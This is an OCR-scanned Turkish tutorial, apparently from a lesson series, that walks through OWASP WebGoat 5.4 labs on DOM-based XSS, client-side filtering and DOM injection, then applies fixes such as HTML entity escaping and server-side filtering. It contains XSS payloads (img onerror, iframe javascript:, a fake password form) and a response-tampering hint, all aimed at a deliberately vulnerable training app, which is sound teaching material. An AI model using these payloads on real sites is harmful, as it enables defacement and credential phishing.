Arasi Kodlama) dersinde c¢ogunlukla XSS seklinde kisaltilan cross-site scripting'i
ogreneceksiniz.

Dersin Hedefi

Bu egzersiz 5 asamadan olusmaktadir. Asamalar i¢in genel manada sunu yapacaginizi
sOyleyebilirizz "DOM'a zararh kod enjekte etmek ve web igerigini degistirmek". Dersin son
asamasina geldiginizde bu glvenlik agigini kapatmaya yonelik bir duzeltme uygulayacaksiniz.

Stage 1

Asama 1'deki géreviniz asagidaki resimde okla gésterilen ve sari alan ile vurgulanan linkteki
resmi kullanarak ekrani bunla tahrif etmektir.

Solution Videos Restart this Lesson

STAGE 1: For this exercise, ygur mission is to deface this website using the image at the following
location: OWASP IMAGE #

Enter your name:

Submik Solution

ASP EI:'I')
! Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

Stage 2
Asama 2'de goéreviniz img etiketini kullanarak JavaScript alert'i olusturmaktir.

Stage 3
Siradaki gbreviniz iframe etiketini kullanarak bir JavaScript alert'i olusturmaktir.

Stage 4
Asama 4'teki gdreviniz sahte bir login formu olusturmak igin asagidaki kodu metin kutusuna
girmektir.

1 Please enter your password:<br>

2 <input type="password" name="pass">
<buttononclick="javascript:alert('I have your password: ' +

3 pass.value) ; ">Submit</button>

4 <br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br>
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Stage 5

Bu son asamada DOM XSS guvenlik acgigini bir nebze olsun kapatmak igin istemci tarafli bir
HTML Entity kodlamasi uygulamaktir. HTML Entitiy kodlamasi igin ihtiyaciniz olan methodu
escape.js dosyasindan temin edebilirsiniz.

Aciklamalar

Eger Dersin Hedefi bagliginda acgiklanan goéreviniz kismini okuduysaniz fark etmissinizdir:
DOM tabirini kullandik. DOM(Document Object Model) dokiiman igerisindeki kod etiketlerini
bir aga¢ hiyerarsisinde digum olarak yerlestirme anlamina gelir. HTML DOM ise html
sayfasindaki igerigi bir agac¢ hiyerarsisinde digim olarak yerlestirmeye denir. Agaca digim
olan etiketler bir nevi nesnelestirilmistir. HTML DOM'da kdk digum olarak html tag'i segilir ve
html tag'i icerisinde ne varsa sirasiyla agaca bunlar dUgum olarak eklenir. Asagidaki resimde
bir HTML DOM 6&rnegi goreceksiniz:

Document

Foot elerment:

<htmlz=
|
I |
Element: Element:
<headz <hodyz
| l |

Element: Attribute: Element: Element:

<title= “href” <A zhl=

Text: Text: Text:
"My title” My link® “My header”

HTML DOM standardina ihtiyag duyulmustur, ¢liinkl bu sayede biz dinamik olarak sayfadaki
HTML elemanlarini silebiliyoruz, sayfaya yeni bir eleman ekleyebiliyoruz ve varolanlari
degistirebiliyoruz. Tum bu iglemleri sayfa yenilenmeksizin HTML DOM standardi sayesinde
Javascript kodlari ile beraber yapabiliyoruz. Bunun kafanizda somutlasabilmesi igin basit bir
ornek verelim(Eger javascript bilmiyorsaniz sadece izleyin):

Javascript:

1 functiondegistir () {

2 document.getElementsByTagName ("div") [0] .style.backgroundColor = "black";
3 }
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HTML:
1
<html>
<head>
3
<script>
4 .
// Javascript kodlari burada olacak.
> </script>
6 </head>
7 <body>
8 <center>
9 <div style="width:300px;height:150px;text-align:center;">
10 <br><br><br><br>
11 <button type="button" onclick="degistir();">Tikla </button>
</div>
12
</center>
13
</body>
14 </html>
15

Yukaridaki kodlar web tarayicisi ile tarandiginda asagidaki buton ekrana gelir.

Tikla

Butona tikladiginizda butonun i¢inde bulundugu cergevenin arkaplan rengi siyah olacaktir.
Bunu fark ettiyseniz sayfa yenilenmeden yaptik. Eer HTML DOM olmasaydi butonun
icerisinde bulundugu gergevenin 6zelligini(attribute'unu) dinamik olarak degistiremeyecektik.
Onceden de belirtildigi gibi DOM yapisi sayesinde html dékiimanindaki tim kodlar birer
nesne olarak ele alindigindan tzerlerinde dinamik olarak sil, ekle, degistir yapabilmekteyiz.
Bu 6rnekte degistir islemini style dzelligini(attribute'unu) degistirerek kullanmis
olduk(NOT:HTML DOM yapisinda style da bir nesnedir, yani dGgumdur).

Document Object Model(DOM) givenlik agisindan enteresan bir problem ortaya
cikarmaktadir. DOM, web sayfalarinin icerigini dinamik olarak modifiye etme imkani
tanidigindan dolay! bu iglevi zararli kodlar ile saldirganlar tarafindan istismar
edilebilmektedir. XSS(Cross-Site Scripting) bir ¢esit zararli kod tlrtudar. Eger kullanicilarin
giris yapabilecedi kutular filtrelenmemigse - yani hangi karakterleri kullanici girebilir hangisini
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giremez kurallari koyulmamigsa - istemci tarafindaki ilgili sayfanin icerigi modifiye edilebilir
ve bdylece XSS saldirisi gergeklestirilebilir.

XSS zararl kodunu mesela bir blog sitesinin yorum ekle kismindaki metin kutularina
yerlestirdinizi ve yorumu ekle butonuna test amacl bastiginizi varsayalim. Bu XSS kodu eger
metin kutulari filtrelenmemis ise veritabanina kaydolur. iste kritik nokta burasidir. Girilen veri
eder veritabanina kaydolursa o zaman saldiri saldirganin ekranindan genele yayilmig olur.
Cunku zararl kodu tasiyan yorum da dahil diger yorumlar veritabanindan ¢ekilerek
websitesinde sergilenecektir. Dolayisiyla websitesi zararli kodu yayinlamis olacaktir ve
kullanicilar bu zararli kodun izlerini géruntileyecektir.

Dersin Coziimii

Ders ekraninda gorebilecediniz Gzere bir metin kutusu ve bir de buton vardir. Eger metin
kutusuna bir veri girme tesebbusiunde bulunduysaniz fark edeceksiniz ki yazdiginiz her
karakter ekranda ayni anda gdérintilenmektedir. Biz bu ders boyunca bu javascript kodu ile
hazirlanmis ders ekraninda sunulan "girilen veriyi ekrana yansitma" ozelligini XSS ataklari ile
kotu yonde kullanarak test etmis olacagiz.

Stage 1
Metin kutusuna

1 <img src="images/logos/owasp.Jjpg"/>

kodunu girin. Goreceginiz Uzere ekranda web sayfasini yapan geligtiricinin ummadigi bir
nesne olan resim belirecektir. Resim gorunur haldeyken butona basin. Bdylece stage 1'i
tamamlamis olursunuz.

Stage 2

Bu agsamada <img> etiketinin bir 6zelligi kullanilacaktir. <img> etiketinin soyle bir 6zelligi
vardir: Resmin kodu igerisindeki resim linki tarayici tarafindan otomatikmen galistirilir ve link
sunucudan talep edilir. Bilirsiniz, bir resmi biz géruntilemek igin bir butona genelde
basmayiz. Bunu tarayicici kendisi yapar ve biz de resmi gériintileriz. iste dersin bu
asamasinda biz resim kodunun bu 6zelligini kullanarak resim linki yerine javascript kodu
girecegiz. Boylece tarayici otomatikmen resim linkini talep edicekken otomatikmen javascript
kodunu gahgtiracaktir. Simdi asagidaki XSS kodunu metin kutusuna girin.

1 <img src=x onerror=alert ('XSS') />

Bu kod ekrana bir popup bildirim penceresi agmaya yaramaktadir. Zira kodu girdiginiz
takdirde ders ekranindaki javascript ile hazirlanmis sistem girdiginiz veriyi ekrana yansitacak,
bunun akabinde s6zde resim linki otomatikmen calistirilacak, yani bizim enjekte ettigimiz
alert() komutu galisacaktir ve popup bildirim penceresi ekrana gelecektir. Ekrana gelen
popup penceresine tamam deyip kapatin. Girdiginiz verinin hemen asagisindaki Submit
Solution butonuna tiklayin ve bdylece Stage 2'yi bitrmis bulunmaktasiniz.

Stage 3

Resim kodunun istismar edilen otomatikmen calistiriima/goéruntilenme 6zelligi gibi <iframe>
adli html tag'inin da bdyle bir 6zelligi vardir. <iframe> ile sinirlarini <iframe>'in belirttigi
alanda, hal-i hazirda var olan html sayfasinin iginde yeni bir html sayfasi goruntulenir. Biz
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<iframe>'in sinirlarini belirttigi alanda otomatikmen ¢alistiriima 6zelliginden nemalanacagiz.
Simdi asagidaki XSS kodunu metin kutusuna girin.

1 <iframe src="Jjavascript:alert ('XSS"');"></IFRAME>

Ardindan agilan popup penceresine Tamam deyin ve Submit Solution butonuna basarak bu
asamayi da tamamlayin. Bu agsamada 6nceki asamayla ayni isi farkli html etiketi Gzerinden
yapmis olduk.

Stage 4
Bu asamada HTML satir atlatma komutlari ile igerigi asagilara kaydiracagiz ve Uste sahte bir
login formu koyacagiz. Bunun icin asagidaki kodu metin kutusuna giriniz:

1 Please enter your password:<br>
2 <input type="password" name="pass">
<button onclick="javascript:alert('I have your password: ' +
3 pass.value) ; ">Submit</button>
4 <br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br>

Yukaridaki kodu metin kutusuna yapistirdiginizda kodun sebep oldugu bir textBox ve buton
goruntilenecektir ve yine kodun sonlarinda yer alan <BR> etiketi sayesinde bu kodun girildigi
metin kutusu asagilara kayacaktir. Ekrana yansitilan sahte forma ait metin kutusuna rastgele
bir sifre girin. Ardindan yanindaki butona tiklayin.

Solution Videos Restart this Lesson

STAGE 4: Use the following to create a fake login form:
Please enter your password: <BR==input type = "password" name="pass"/><button

onClick="javascript:alert('l have your password: ' + pass.value);"=Submit</button=<BR=<BR=
<BR=<BR><BR><BR><BR><BR><BR><BR><BR><BR>=<BR><BR><BR=><BR>

* Stage 3 completed.

Hello, Please enter your password:

[u|u| Submit SAHTE FORM

Enter your name: BR><BR><BR><BR><BR><BR=<BR>

Submit Solution

ﬁSPEG'I')
! Application Security Experts
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Bdylece bu agamayi da tamamlamig olursunuz. Bu asamada farkli bir saldiri teknigi gérmus
olduk. Aldatici bir form ile kullanicilarin - 6zellikle teknolojiye pek yakin olmayan ileri
yastakilerin - bilgileri kdtl niyetli kimseler tarafindan c¢alinabilir.

Stage 5

Bu asamada ise veri giriginin yapildigi metin kutusuna glvenlik proseduri uygulanacaktir. Bu
guvenlik proseduru ile XSS kodlari ekrandaki metin kutusuna girdiginde zannediyorum HTML
Entity olarak adlandirilan bir methodla kodlanacaklardir. Zannediyorum dedim, ¢lnki net bir
bilgiye sahip degilim, fakat tecriibeyle sabit olan su ki HTML Entitiy Encoding kullaniliyor.
HTML Entity Encoding tabiri web gelistiricisiyseniz blyuk ihtimalle karsilagtiginiz bir terimdir.
HTML Entity Encoding, yani HTML Varlik Kodlamasi html komutlarinin komut olarak degil de
normal, diz metin olarak ekrana yansitilmasini saglamaya denir. Normalde <html></html>
komutlari ekranda goruntulenmezler. Bunlar tarayici tarafindan 6zel komut olarak algilanir ve
iglenirler. Metin olarak algilanmazlar. Fakat HTML Entity Encoding ile bu 6zel komutlar duz
metin olarak ekrana yansitilabilmektedir. Bu dersin metin kutusuna HTML Entity Encoding
uygulayabilmek icin WebGoat-5.4 klasoérintzin icerisindeki

1 tomcat\webapps\WebGoat\javascript

dizininde yer alan escape.js dosyasindaki escapeHTML() methodunu kullanacagiz. Bu
methodu

1 tomcat\webapps\WebGoat\javascript

dizinindeki DOMXSS.js dosyasina yerlestirecegiz. DOMXSS.js dosyasinda normalde su
kodlar yer almaktadir.

1 function displayGreeting (name) {

2 if (name != ''){

3 document.getElementById ("greeting") .innerHTML="Hello, " + name + "!";
4 }

5 }

Buradaki name degiskeni bizim metin kutusuna girdigimiz veriyi tutmaktadir. Bu degiskeni
escapeHTML() methoduna koyarak guvenlik agigini kapatmis olacagiz(NOT: Eger linux
Uzerinden WebGoat'u galistiriyorsaniz bu dosyalar read-only olduklarindan 6tiri dosya
Uzerindeki degisikligi terminal ekranindan nano gibi bir editdrle yapabilirsiniz. Ya da
WebGoat-5.4 klasérunun izinlerini 777'ye gekerek gorsel araylzden de degisiklik
yapabilirsiniz.) Guvenligi saglanmisg, yani kullanicinin girdigi verinin filtrelendigi kod blogumuz
asagidaki gibidir:

1 functiondisplayGreeting (name) {
2 if (name !'= ""){

document.getElementById ("greeting") .innerHTML="Hello, "
escapeHTML (name) + "!";

4 }
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Gulvenlik nasil saglandiyi biraz daha detayli 6grenmek isterseniz escapeHTML methodunun
tanimli oldugu dosyanin kodlarina g6z atmalisiniz. Asagida bu kodlar verilmigtir:

1 function escapeHTML (str) {

2 var div = document.createElement ('div');
3 var text = document.createTextNode (str);
4 div.appendChild (text) ;

5 returndiv.innerHTML;

6 }

escapeHTML methodu, anlasildigi kadariyla HTML Encoding islemini createTextNode'un

hal-i hazirda var olan bir iglevi sayesinde yapabilmektedir. createTextNode aslinda metin

diglmu olusturan, javascript'in DOM'a bakan bir methodudur. Fakat enterasan bir sekilde
createTextNode ayni zamanda HTML Encoding islemini de gerceklestirmektedir.

Kod duzeltmesi ile glvenlik acigini biraz olsun kapadiktan sonra dnceki
stage'lerde(asamalarda) kullandigimiz bir XSS saldiri kodunu tekrar metin kutusuna girmeyi
deneyelim. Mesela agagidakini girmeyi deneyin:

1 <img src=x onerror=;;alert ('XSs') />

Yukaridaki zararli kodu metin kutusuna girdiginizde XSS ataginin artik ise yaramadigini
gérebilirsiniz. Ekranda resim yerine artik girdigimiz zararli kodun ¢alismamis hali, yani bizatihi
kendisi goruntilenmektedir.

Sonug¢

Dikkat ederseniz farkh farkli yollarla g¢esitli XSS saldirilarinda bulunmus olduk. En énce resim
kodunu kullandik ve ekranda resim otomatikmen goéruntulendi. Sonra resim kodunun
otomatikmen calisma 6zelligini istismar ederek <img> etiketine bir javascript kodu dahil ettik
ve onun cgalismasini seyrettik(Popup penceresini kastediyorum). Sonra otomatikmen
calistiriima 6zelligine sahip bir bagska html kodu olan iframe'e javascript kodu dahil ettik. Tim
bunlardan sonra satir atlatma komutlari ile aldatmaya ydnelik sahte bir login formu olusturduk.
Bdylece birgok saldiri kombinasyonunu bu derste gormus olduk. Aciklamalar bashg! altinda
bahsettigimiz gibi bu saldirilari yaparken hep kendi ekranimizda olaylarin déndiguna fark
etmissinizdir. Bu donen olaylarin genele mal olmasi igcin 6nceden de belirttigimiz gibi saldir
kodunun veritabanina kaydolmasi gerekir. XSS agigi olan bir sitede bu saldirilar kéta niyetli bir
kimse tarafindan yapilirsa saldiri zararli kodu enjekte eden kiginin ekrani dahil ilgili web sitesini
goruntuleyen herkesin ekraninda goruntulenecektir. Buradan ¢ikarilacak ders kullanicinin giris
yapabilecedi metin kutularinin kesinlikle basibos birakilmamasidir. Veritabanina kullanicidan
gelen verilerin filtrelenmig hali kaydedilmelidir ya da zararliysa tamamen bloklanmalidir.
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DERS 13 - AJAX SECURITY > CLIENT SIDE FILTERING

AJAX  Security Unitesinin  Gglincli  dersi  olan Client Side Filtering(istemci  Tarafii
Filtreleme) dersinde filtreleme isleminin sunucu tarafinda yapilmayip istemci tarafinda
yapiimasinin dogurdugu sikintidan bahsedilecektir.

Dersin Hedefi
Bu ders 2 asamadan olusmaktadir. ilk asamada hassas bilgilere ulasmaniz gerekmektedir.
ikinci asamada ise erigilememesi gereken hassas bilgilere erisilebilmesi problemini
gidermelisiniz.

Stage 1

Siz bu derste Moe Stooge personelini temsil etmektesiniz. Temsil ettiginiz kisi olarak Goat Hills
Financial sirketinde CEO olan Neville Bartholomew disindaki herkesin bilgilerine
erisebilmektesiniz. Bu asamada CEO olan Neville Bartholomew'in sirket ici bilgilerini
goéruntlleyerek maasini 6grenmeye galisacaksiniz.

Stage 2

Bu asamada ise dnceki asamada faydalandiginiz acigi kapatmaniz gerekmektedir. Sunucuyu
sadece sizin gérmek igin izinli oldugunuz sonuglari déndirecek sekilde modifiye ediniz.

Aciklamalar

Bu derste kullanacagimiz Web Geligtirici Aracindan bahsedelim. Bu araci goruntileyebilmek
icin tarayiciniz ekranda acik bir sekilde iken F12 tusuna basmaniz gerekmektedir. Bdylece
tarayicinizin alt bélmesinde Web Geligtirici Araci agilacaktir. Bunun yerine daha spesifik bir
sekilde alt bélmeyi agmak igin ders ekraninda gdérdugunuz bir nesneye sag tiklayip Inspect
Element(Ogeyi Denetle) segenegine tiklayabilirsiniz. Bdylece segtiginiz nesnenin koduna
tarayici sizi goéturecektir ve mavi bir arkaplan rengiyle ilgili kod satirini isaretleyecektir.
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Choose another language: | English 2 | Logout 0

LAB: Client Side Filtering

| esson Plan  Show Java Solution

OWASP WebGoat v5.4

Introduction

G - Solution Videos Restart this Lesson
eneral
Access Control Flaws
AJAX Security STAGE 2: Now, fix the problem. Modify the server to only return results that Moe Stooge is allowed
to see.
o Same Origin Policy
Protection

@ * Congratulations. You have successfully completed this lesson.
LAB: DOM-Based
cross-site scripting

® |5 Client Side Fitering ¢ “ Goat H's Hmndd

DOM niecton i#  Human Resources

Injection

2]
c

Select user:| Choose Employee |
Insecure Client Storaq:

Authentication Flaws
Buffer Overflows

R =] Insector » Console | @ Debugger ||:,7 Style Editor|® Perform... | T Network | .
heml body.page \EATET |:|

[UseriD [First Name [Last Name [ssn [salary

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1l/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhiml"> &p

<head></head>
w <body class="page" onload="setMenuMagicl(16,640,616, 'menubottom', 'menu5', " 'submenu5’, 'mbut..ns/logout.jpg’, " 'images/buttons

JhelpOver.jpg'); initIframe();">
<div id="wrap"=</div=
<iframe style="position: absolute; visibility: hidden; left: 275px; top: 145px; width: 474px;"></iframe>
<div id="lessonPlans" style="visibility:hidden; height:1px; position:absolute; left:260px; top:138px; width:425px;
Z-index:105; "></div>
</body=
</html>

Dersin Coziimii

Stage 1

Ders ekraninda personel se¢cmemize olanak taniyan asagi acilir listeye(comboBox'a) sag
tiklayin ve Ogeyi denetle deyin. Tarayici sizi sag tikladiginiz nesnenin koduna géturecektir. Alt
bdélmede mavi renkle isiklandirilan kod satirinin bagindaki tg¢gene basarak satiri agin.

> Console | @ Debugger ||:,7 5tyleEditnr|® Perform... | = Network |

< nArea divitlessonContent form divitlesson_wrapper - div.lesson_workspace p select#UserSelect [ |:|

=p=

Select user:
<select id="UserSelect" onchange="selectUser()" name="UserSelect" onfocus="fetchUserData()"></select> ey

<table id="hiddenEmployeeRecords" align="center" cellspacing="0" cellpadding="2" border="1" width="90%"
style="display: none"></table>
<table align="center" cellspacing="0" cellpadding="2" border="1" width="90%"></table>
</div>
</div>
<br></br>
<br></br> -

Acilan kod blogunda goéreceginiz tUzere asagi acilir listenin elemanlari siralanmaktadir.
Kaynak kodun asagilarina dogru ilerleyin ve gdreceksiniz ki acilan kod blogunun hemen
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asagisinda ders ekraninda géruntilenmeyen bir tablo blodu vardir. Asagida o kod blogunun
segili halini gorebilirsiniz:

> Console | @ Debugger ||:{ 5tyleEditnr|O Perform... | = Network

< 'ea  divitlessonContent form divitlesson_wrapper > div.lesson_workspace SMELHEEGEE S HNTEEEGIGEN > |:|

¥ <option Tabel="Bruce McGuirre™ value="108"></option> -
b <option label="Sean Livingston" value="189"></option>
» <option label="Joanne McDougal" value="116"></option=>
<=/select>

</p=>

<p=></p>

» <table id="hiddenEmployeeRecords" align="center" cellspacing="8" cellpadding="2" border="1" width="096%"

style="display: none"=></table>

b <table align="center" cellspacing="0" cellpadding="2" border="1" width="90%"></table>
<fdiv=

</div> .

<br=</br>

Bu tablonun kodlarini detayli gérmek igin ilgili satirin basindaki t¢gene tiklayin. Agilan yeni
satir olan <div></div> kodunun en basindaki U¢cgene de tiklayin ve bunun akabinde yine yeni
acllan <table align="... satirinin basindaki i¢gene ve hemen sonra yeni agilan satirin da
basindaki U¢gene tiklayin. Bdylece sunucudan bizim makinamiza inmis tim personelin
listelendigi kisma ulagsmis olduk.

MEAn SAnACaC

> Console [I® Debugger ||:{ 5tyleEditnr|® Perform... | = Network

< form divitlesson_wrapper - div.lesson_workspace & table#hiddenEmployeeRecords div table > |4
w<table id="hiddenEmployeeRecords" align="center" cellspacing="0" cellpadding="2" border="1" width="00%" =
style="display: none">
w <div>
w<table align="center" cellspacing="0" cellpadding="8" border="1" width="98%">

w <thody>

p <tr></tr>

b <tr id="101"></tr>
p <tr id="102"></tr>
b <tr id="103"></tr>
p <tr id="104"></tr>
p <tr id="105"></tr>
b <tr id="106"></tr>
b <tr id="107"></tr>
b <tr id="108"></tr>

b <tr id="109"></tr=> I~
b <tr id="110"></tr> 3
b <tr i 11"></tr> b
b<tr id="112"></tr>
</thody>

</table> =

Simdi 112 nolu id'ye sahip satirin basindaki Uggene basarak kodu detaylandirin. Asagidaki
resimde de gorebilecediniz Gzere CEO Neville Bartholomew'un bilgilerine ulagsmis olduk.
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MIA N S AR L

[Cl 3 Inspector > Console | @ Debugger |[¥ Style Editor | @ Perform... | = Network
< |_wrapper div.less_on_workspa_cg : table#hiddenEmployeeRecords div table tbody  Er#112 m I

Neville
</td>

<td=>

Bartholomew
</td>

111-111-1111 |
</td> |
<td>

450000
</td>

</tr> -

Bu asamada istenen sey normalde bilgilerine erisilemeyen Neville Bartholomew'un bilgilerine
ulagsarak maasini 6grenmekti ve ders ekraninda yer alan metin kutusuna bu miktar girip
butonla onaylamakti. Yukaridaki resimde gorduguniz 45000 sayisi maas! temsil etmektedir.
45000'i ders ekranindaki metin kutusuna girin. Boylece ilk asamayi tamamlamis olursunuz.

Stage 2
Bu asamada bir 6nceki asamada kullandigimiz agigi

1 /WebGoat-5.4/tomcat/webapps/WebGoat/lessons/Ajax

dizinindeki clientSideFiltering.jsp dosyasini duzelterek kapatacagiz.

Oncelikle clientSideFiltering.jsp dosyasina eger izinler el veriyorsa cift tiklayarak agin, eger
izinler el vermiyorsa(read-only ise) terminalden dosyanin yer aldi§i dizine gegis yapin ve
nano gibi bir editorle dosyay! agin:

1 cd /var/www/WebGoat-5.4/tomcat/webapps/WebGoat/lessons/Ajax

2 nano clientSideFiltering.jsp

Actiginiz dosyanin duzenlenecek kismi asagida gordugunuz kod blogudur.

1 StringBuffer sb = new StringBuffer();

2

3 sb.append ("/Employees/Employee/UserID | ");

4 sb.append ("/Employees/Employee/FirstName | ");
5 sb.append ("/Employees/Employee/LastName | ");
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6 sb.append ("/Employees/Employee/SSN | ");

7 sb.append ("/Employees/Employee/Salary ") ;

String expression = sb.toString();

Yukaridaki kod blogunu dosyada bulun ve silin. Ardindan asagidaki filtre 6zelligi
kazandiriimis kod blogunu sildiginizin yerine yapistirin:

StringBuffer sb = new StringBuffer():;

1

2 sb.append ("/Employees/Employee [Managers/Manager/text () = "+ userId +
"]/UserID | ");

3 sb.append ("/Employees/Employee [Managers/Manager/text () = "+ userId +

4 "]/FirstName | ");

5 sb.append ("/Employees/Employee [Managers/Manager/text () = "+ userId +
"]/LastName | ");

6 sb.append ("/Employees/Employee [Managers/Manager/text () = "+ userId + "]/SSN
")

7
sb.append ("/Employees/Employee [Managers/Manager/text () = "+ userId +

8 "]/Salary ");

9
String expression = sb.toString();

Kopyala-yapistir islemi sonrasi eger dosyayi ¢ift tiklayarak agmissaniz kaydedin, eder
terminalden agmissaniz CTRL+X kombinasyonunu tuslayin ve Y tusuna bastiktan sonra
ENTER'layin. Simdi ders ekranina dénun ve agsagidaki resimde de goérebileceginiz Uzere
ders ekranindaki butona tiklayarak bu agamayi tamamlayin.
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& Goat Hills Financial

1 Human Resources

[ < |

.

select user:| Choose Employee

-

UserlD |F|rst Name |Last Name 55N Salary

Click here when you believe you have completed the lesson.

ASPEGT)

! Application Security Experts

Sonug¢

Her daim yalnizca erigsim iznine gore veriyi istemciye gondermek iyi bir programcilik 6érnegidir.
Gunku bu, erisim kontroli demektir, giivenlik demektir. Diger turli distunildiginde, yani tim
veriyi bu derste oldugu gibi istemciye génderip istemcinin gdrebilecegi verileri génderilmis tim
veri icinden secerek ekrana yansitmak bilinmemesi gereken verilerin 6grenilmesine yol
acabilmektedir. Ekrandan eksiltme arttirma yaparak erigsim kontroli s6zde saglanmaktadir. Bu
bir hatadir, yanilgidir. Dolayisiyla eger erisim kontroliini saglam temele oturtmak istiyorsaniz
istemciye daima filtrelenmis veriyi gdnderin.
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DERS 14 - AJAX SECURITY > DOM INJECTION

AJAX Security Unitesinin  doérdinci dersi olan DOM Injection(Document Object Model
Enjeksiyonu) dersinde AJAX teknolojisi ile gerceklestirilen sunucu baglantisinda sunucudan
gelecek veriye kod enjekte edecegiz. Béylece dersin sundugu (s6zde) uygulamaya girebilmek
icin lisans anahtarini bilmeden girisi gerceklestirmis olacagiz.

Dersin Hedefi

Bu derste kurban olan taraf aktivasyon anahtarini kullanmamiza izin veren ve bu aktivasyon
kodunu alan sistemdir. Hedefiniz activate butonunu tiklanamaz durumdan tiklanabilir duruma
getirmektir. Bir sureligine dersin kaynak kodunu sag tik yapip View Page Source(Sayfa
Kaynagini Goruntlile) sekmesine tiklayarak inceleyin ve anahtar gecerliligini kontrol eden
sistemin nasil ¢calistigina dair bir fikir edinin.

Aciklamalar

Bu derste AJAX teknolojisi kullanildigindan dolayi biraz AJAX kodlarina girigmekte fayda var.
Bu baglik altinda bu dersin kaynak kodunda kullanilan AJAX kodlari anlatilacaktir. E§er Dersin
Hedefi kismindaki 3.maddeyi uyguladiysaniz dersin kendi islevini gerceklestirebilmesi igin
kullandigi AJAX kodlarinin neler oldugunu belki de bulmussunuzdur. Asagida bulmaniz
gereken bu dersin kullandigi AJAX kodlar gosteriimektedir:

1 functionvalidate () {

2 var keyField = document.getElementById('key');
var url = 'attack?Screen=74&menu=400&from=ajaxskey=" +

3 encodeURIComponent (keyField.value) ;

4

5 if (typeof XMLHttpRequest != 'undefined') {

6 req = new XMLHttpRequest () ;

7 }

8 else if (window.ActiveXObject) {

9 req = new ActiveXObject ('Microsoft.XMLHTTP') ;

10 }

11
reqg.open('GET', url, true);

12 reqg.onreadystatechange = callback;

13 req.send(null);

14 }

15

16  functioncallback() {
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17 if (reqg.readyState == 4) {
18 if (reg.status == 200) {
19 var message = reqg.responseText;
20
21 var messageDiv = document.getElementById('MessageDiv');
22

try {
23

eval (message) ;
24
25 } } }
messageDiv.innerHTML = 'Correct licence Key.'

26

}
27 catch (err) {
28 messageDiv.innerHTML = 'Wrong license key.'
29 }
30
31
32

Adim adim bu kodlarin ne anlama geldiginden bahsedelim. Oncelikle XMLHttpRequest
nesnesine deginelim. Hatirlarsaniz daha 6nce bu nesnenin AJAX'In kilit noktasi oldugudan
bahsetmistik.(bkz. Ders 11) Bu nesne ile biz sayfayl komple yenilemeden sayfanin sadece
belirli bir kismini giincelleyebiliyoruz. Bu esnekligi dikkat ederseniz simdiki ders ekrani da
kullanmaktadir. Nasil mi? $Oyle ki ders ekranindaki Lisans anahtari gireceginiz metin
kutusuna veri girdiginizde sayfa yenilenmeden girdiginiz veriler sunucuya gonderilmektedir.
Sunucu ise gelen veriye gore yanligsa Wrong License Key, dogruysa Correct Licence Key
bildirimlerinin ders ekraninda géruntilenmesini saglamaktadir.
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Solution Videos Restart this Lesson

Hint: Intercept the reply and replace the body with document.form.SUBMIT.disabled =
false;

*Your victim is a system that takes an activation key to allow you to use it.
*Yourgoal should be to try to get to enable the activate button.

* Take some time to see the HTML source in order to understand how the key validation process
warks.

Welcome to WebGoat Registration Page:

Please enter the license key that was emailed to you to start using the application.

License Key: sfd

Wrong license key

Created by Sherif
F Koussa SOMWArESECUTED

OWASP Foundation | Project WebGoat | Report Bug

iste ders ekranindaki bu dinamizmi veren kodlarin temeli XMLHttpRequest'tir. Simdi dersin
kullandig1 kodlara bir géz atalim. validate() fonksiyonu ilk olarak kod blogunda yer
almaktadir.

functionvalidate () {

2 var keyField = document.getElementById('key');
3 var url = 'attack?Screen=74&menu=400&from=ajaxskey=" +
encodeURIComponent (keyField.value) ;
5
if (typeof XMLHttpRequest != 'undefined') ({
6
req = new XMLHttpRequest () ;
7
}
8 else if (window.ActiveXObject) {
9 req = newActiveXObject ('Microsoft.XMLHTTP') ;
10 }
11
12 reg.open ('GET', url, true);
13 reqg.onreadystatechange = callback;
14 req.send(null);
}
15
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Bu fonksiyon siz lisans anahtar gireceginiz metin kutusuna veri girdiginiz her an
calistiriimaktadir. Clnku dersin kaynak kodunda gorebilecediniz Gizere metin kutusunun
koduna onkeyup="validate();" ifadesi eklenmistir.

'@ DOM Injection

€ | @ localhost:8080/WebGoat/attack?Screen=74&menu=400 v| @ ||Q search

T
o Choose another language: | English 2 |
|

§
o

DOM Injection

OWASP WebGoat v5.4

|
1
Introduction !
'

i
. . i .
General Solution Videos 1 Restart this Lesson
Access Control Flaws ! !
AJAX Security *Yourvictim is a system that takes an activation key to allow you to use it.
kY *Your goal should be to try to dattu enable the activate button. |
Same Origin Pol *Take some time to see the HTML source in order to understand how the! key validation process
Pratection works. | 1
1 i
% 6. DoMBased | |
cross-site scripting o '
to g Page: I
® |5 Clent Side Fittering H | X
Please enter the license key that was em ing the application.
777777!DEM|"E;II:IH 77777777777777777777777777777777777 H N
Py License Key: [ [
I i 5
I i
% 150N injection i |
1
1 Created by Sherif
o i Koussa SoftwareSecuren

Sikent Transactions
Attacks

i
OWASP Foundation | Project WebGeat | Report Bug

Dangerous Use of Eval I
i
1o Clant inrana !

[~ 3 Inspector > Console (@ Debugger |[# Style Editor @ Perform... | & Nektwork
< divittwoCol > divilessonArea » divilessonContent form table - tbody tr td m > O} I
<tbody> ’ T " ? =
<tr>
<td>License Key:</td>

: id="key" type="TEXT" name="key" value="" onkeyup="validate();"></input> ev

<ftd>
</tr>
<tr></tr>

<trs</tr>

Yani metin kutusuna ne tuslanirsa tuslansin validate() fonksiyonu her bir karakter
tuglanmasinda caligtirilacaktir. Simdi bu fonksiyonun igerisine g6z atalim. ilk satirlara
deginmeden 6nce sirasi gelmigsken XMLHttpRequest nesnesiyle alakal kod blogunu ele
alalim. Kod blogundaki XMLHttpRequest kismi asagida gdsterilmektedir.

1 if (typeof XMLHttpRequest != 'undefined') {
2 req = new XMLHttpRequest () ;
3 }

4 elseif (window.ActiveXObject) {

5 req = new ActiveXObject ('Microsoft.XMLHTTP') ;

typeof ile tarayicida XMLHttpRequest nesnesi var mi yok muyu test etmis bulunmaktayiz.
XMLHttpRequest nesnesi maalesef Internet Explorer'da yoktur. IE(Internet Explorer)
XMLHttpRequest nesnesi yerine ActiveXObject nesnesi kullanmaktadir. Dolayisiyla web
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gelistiricileri bu siteler arasi uyumusuzlugun Ustesinden gelebilmek i¢in yukaridaki gibi
ekstradan bir kod(bir else if kogulu) eklerler. Yukaridaki if kosulu XmIHttpRequest nesnesine
